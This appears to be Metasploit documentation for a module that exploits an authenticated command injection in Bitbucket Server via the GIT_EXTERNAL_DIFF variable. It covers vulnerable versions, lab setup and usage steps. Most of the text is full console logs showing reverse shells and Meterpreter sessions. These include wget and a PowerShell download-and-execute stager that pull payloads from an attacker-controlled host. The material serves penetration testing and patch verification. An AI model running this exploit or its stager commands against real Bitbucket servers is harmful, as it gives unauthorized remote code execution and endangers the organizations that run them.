## Vulnerable Application

For various versions of Bitbucket, there is an authenticated command injection
vulnerability that can be exploited by injecting environment
variables into a user name. This module achieves remote code execution
as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment
variable, a null character as a delimiter, and arbitrary code into a user's
user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable
will be run once the Bitbucket application is coerced into generating a diff.

This module requires at least admin credentials, as admins and above only have the
option to change their user name.

The [advisory](https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html) lists the following versions as vulnerable:

    * 7.0 to 7.5 (all versions)
    * 7.6.0 to 7.6.18
    * 7.7 to 7.16 (all versions)
    * 7.17.0 to 7.17.11
    * 7.18 to 7.20 (all versions)
    * 7.21.0 to 7.21.5

If mesh.enabled=false is set in bitbucket.properties:

    * 8.0.0 to 8.0.4
    * 8.1.0 to 8.1.4
    * 8.2.0 to 8.2.3
    * 8.3.0 to 8.3.2
    * 8.4.0 to 8.4.1

### Installation Instructions

1. Install Git on the target machine
  * For Linux
    * sudo apt install -y git
  * For Windows
    * Download an [installer](https://github.com/git-for-windows/git/releases/download/v2.39.2.windows.1/Git-2.39.2-64-bit.exe)
    * Selecting all defaults should be fine
2. Download a vulnerable version of Bitbucket. For example, version `7.18.1` can be found
[here for Linux](https://www.atlassian.com/software/stash/downloads/binary/atlassian-bitbucket-7.18.1-x64.bin) and [here for Windows](https://www.atlassian.com/software/stash/downloads/binary/atlassian-bitbucket-7.18.1-x64.exe)
3. For Linux, make sure the resulting bin file is executable and run it. Just double click on the installer file if using Windows
  * chmod +x atlassian-bitbucket-8.3.0-x64.bin && sudo ./atlassian-bitbucket-8.3.0-x64.bin
4. An installation wizard will pop up. Make sure `Install a new instance` is checked, then click `Next`
5. Check `Install a Server instance` and click `Next`
6. If the default destination directory looks good, click `Next`
7. Click `Next` if the default Bitbucket data directory looks fine
8. Make sure the `Use default HTTP port (7990)` selection is checked and click `Next`
9. Make sure the `Install Bitbucket as a service` box is checked and click `Next`
10. Click `Install` if everything looks correct on the summary screen
11. Once the installation completes, make sure the `Would you like to launch Bitbucket` option is selected
and click `Next`
12. Ensure `Launch Bitbucket <version> in browser` is selected and click `Finish`
13. Navigate to the Bitbucket setup page (http://localhost:7990) and select the `I need an evaluation license` option
14. If you already have an account, select `I have an account`; otherwise, create a new account
15. 'up and running' should be selected on the next page, so click `Generate License`
16. Confirm that the prompt gives you the correct server, then click `Yes`
17. The license should be entered in the box, so select `Next`
18. Finally, set up an administrator account

*Note*: If an error occurs on the last step, just open a browser and navigate to the setup
page at 127.0.0.1:7990. If installing an 8.* version of Bitbucket, you will need to create
a `bitbucket.properties` file at `/var/atlassian/application-data/bitbucket/shared`. Once created,
add the line `mesh.enabled=false`, save the file, and restart Bitbucket.

## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/bitbucket_env_var_rce`
4. Do: `set USERNAME <username>`
5. Do: `set PASSWORD <pass>`
6. Do: `set RHOST <target_ip>`
7. Do: `set LHOST <listen_ip>`
8. Do: `run`
9. You should get a shell.

## Options

### USERNAME

Username to authenticate with and has at least admin privileges

### PASSWORD

Password to authenticate with

## Scenarios

### Ubuntu 22.04 x64 - Bitbucket `v7.6.17`, CMD Target

```
msf > use exploit/multi/http/bitbucket_env_var_rce
[*] Using configured payload cmd/unix/reverse_bash
msf exploit(multi/http/bitbucket_env_var_rce) > set rhost 192.168.140.149
rhost => 192.168.140.149
msf exploit(multi/http/bitbucket_env_var_rce) > set lhost 192.168.140.1
lhost => 192.168.140.1
msf exploit(multi/http/bitbucket_env_var_rce) > set username test
username => test
msf exploit(multi/http/bitbucket_env_var_rce) > set password password
password => password
msf exploit(multi/http/bitbucket_env_var_rce) > run

[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] No accessible repositories. Will attempt to create a repo
[*] Failed to find valid project information. Will attempt to create repo
[*] Project creation was successful
[+] Successfully created repository 'fjNMKiB'
[+] Commits added: 9e03047ab0802438c2058e49ec757a7be8d222eb, f7683fcc92840ff94e609c8b0a99e165edb5aa7d
[*] Sending payload
[*] Command shell session 1 opened (192.168.140.1:4444 -> 192.168.140.149:41118) at 2023-03-13 14:04:00 -0500
[*] Changing user name back to 'test'
[+] Repository has been deleted
[+] Project has been deleted

uname -a
Linux gitlab-virtual-machine 5.15.0-58-generic #64-Ubuntu SMP Thu Jan 5 11:43:13 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
id
uid=1001(atlbitbucket) gid=1001(atlbitbucket) groups=1001(atlbitbucket)
```

### Ubuntu 22.04 x64 - Bitbucket `v7.6.17`, Linux Dropper

```
msf exploit(multi/http/bitbucket_env_var_rce) > show targets

Exploit targets:
=================

    Id  Name
    --  ----
    0   Linux Command
=>  1   Linux Dropper
    2   Windows Dropper


msf exploit(multi/http/bitbucket_env_var_rce) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(multi/http/bitbucket_env_var_rce) > run

[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] No accessible repositories. Will attempt to create a repo
[*] Failed to find valid project information. Will attempt to create repo
[*] Project creation was successful
[+] Successfully created repository 'gmoQNc'
[+] Commits added: d355924ddef6869f5bbd7673c2a2d67c14ccd56d, cbd85c6309ab2830455c1796898f9677e10227e5
[*] Sending payload
[*] Using URL: http://192.168.140.1:8080/VtgFQ7yCgjcP
[*] Client 192.168.140.149 (Wget/1.21.2) requested /VtgFQ7yCgjcP
[*] Sending payload to 192.168.140.149 (Wget/1.21.2)
[*] Command Stager progress -  53.04% done (61/115 bytes)
[*] Command Stager progress -  72.17% done (83/115 bytes)
[*] Sending stage (1017704 bytes) to 192.168.140.149
[*] Meterpreter session 2 opened (192.168.140.1:4444 -> 192.168.140.149:50632) at 2023-03-13 14:06:18 -0500
[*] Command Stager progress -  83.48% done (96/115 bytes)
[*] Command Stager progress - 100.00% done (115/115 bytes)
[*] Changing user name back to 'test'
[+] Repository has been deleted
[+] Project has been deleted

meterpreter > getuid
Server username: atlbitbucket
```

### Windows 10, x64 - Bitbucket `v7.18.1`, Windows Dropper

```
msf > use exploit/multi/http/bitbucket_env_var_rce 
[*] Using configured payload cmd/unix/reverse_bash
msf exploit(multi/http/bitbucket_env_var_rce) > set rhost 192.168.140.171
rhost => 192.168.140.171
msf exploit(multi/http/bitbucket_env_var_rce) > set lhost 192.168.140.1
lhost => 192.168.140.1
msf exploit(multi/http/bitbucket_env_var_rce) > set username admin
username => admin
msf exploit(multi/http/bitbucket_env_var_rce) > set password P@ssword
password => P@ssword
msf exploit(multi/http/bitbucket_env_var_rce) > set target 2
target => 2
msf exploit(multi/http/bitbucket_env_var_rce) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/http/bitbucket_env_var_rce) > set verbose true
verbose => true
msf exploit(multi/http/bitbucket_env_var_rce) > run

[*] Started reverse TCP handler on 192.168.140.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Found version 7.18.1 of Bitbucket
[+] The target appears to be vulnerable.
[*] No accessible repositories. Will attempt to create a repo
[*] Failed to find valid project information. Will attempt to create repo
[*] Retrieving security token
[*] Project creation was successful
[+] Successfully created repository 'GqFji'
[+] Commits added: 99a9d18e3a72d01bbdaac9bd8d84ba97bb3d7dad, 85a051cb3572b13e59816ff51b527706d66ae392
[*] Sending payload
[*] Using URL: http://192.168.140.1:8080/ZOwoRUPRlio
[*] Generated command stager: ["powershell.exe -c Invoke-WebRequest -OutFile .\\xnbrdApP.exe http://192.168.140.1:8080/ZOwoRUPRlio", ".\\xnbrdApP.exe", "del .\\xnbrdApP.exe"]
[*] Client 192.168.140.171 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237) requested /ZOwoRUPRlio
[*] Sending payload to 192.168.140.171 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237)
[*] Command Stager progress -  75.19% done (97/129 bytes)
[*] Sending stage (175686 bytes) to 192.168.140.171
[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.171:51236) at 2023-03-13 14:29:25 -0500
[*] Command Stager progress -  86.05% done (111/129 bytes)
[*] Command Stager progress - 100.00% done (129/129 bytes)
[*] Changing user name back to 'admin'
[*] Attempting to delete repository 'GqFji'
[+] Repository has been deleted
[*] Now attempting to delete project 'eTzDRa'
[+] Project has been deleted

meterpreter > getuid
Server username: DESKTOP-5JSUGC8\atlbitbucket
meterpreter > sysinfo
Computer        : DESKTOP-5JSUGC8
OS              : Windows 10 (10.0 Build 19044).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 4
Meterpreter     : x86/windows
```

### Ubuntu 22.04 x64 - Bitbucket `v8.4.0` with mesh.enabled set to false, Linux Dropper

```
msf > use exploit/multi/http/bitbucket_env_var_rce
[*] Using configured payload cmd/unix/reverse_bash
msf exploit(multi/http/bitbucket_env_var_rce) > set target 1
target => 1
msf exploit(multi/http/bitbucket_env_var_rce) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(multi/http/bitbucket_env_var_rce) > set rhost 192.168.140.149
rhost => 192.168.140.149
msf exploit(multi/http/bitbucket_env_var_rce) > set lhost 192.168.140.1
lhost => 192.168.140.1
msf exploit(multi/http/bitbucket_env_var_rce) > set username administrator
username => administrator
msf exploit(multi/http/bitbucket_env_var_rce) > set password S3cureP@ssword
password => S3cureP@ssword
msf exploit(multi/http/bitbucket_env_var_rce) > run

[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Versions 8.* are vulnerable only if the mesh setting is disabled
[+] The target appears to be vulnerable.
[*] No accessible repositories. Will attempt to create a repo
[*] Failed to find valid project information. Will attempt to create repo
[*] Project creation was successful
[+] Successfully created repository 'IuNYsZZPl'
[+] Commits added: 560d760fdcbcf210c2c1b6dd04663381002066e5, 53ada0136f82899451c16a00cb939225dba53336
[*] Sending payload
[*] Using URL: http://192.168.140.1:8080/qt9f0M
[*] Client 192.168.140.149 (Wget/1.21.2) requested /qt9f0M
[*] Sending payload to 192.168.140.149 (Wget/1.21.2)
[*] Command Stager progress -  50.46% done (55/109 bytes)
[*] Command Stager progress -  70.64% done (77/109 bytes)
[*] Sending stage (1017704 bytes) to 192.168.140.149
[*] Meterpreter session 10 opened (192.168.140.1:4444 -> 192.168.140.149:43360) at 2023-03-14 19:00:00 -0500
[*] Command Stager progress -  82.57% done (90/109 bytes)
[*] Command Stager progress - 100.00% done (109/109 bytes)
[*] Changing user name back to 'administrator'
[+] Repository has been deleted
[+] Project has been deleted

meterpreter > getuid
Server username: atlbitbucket
```
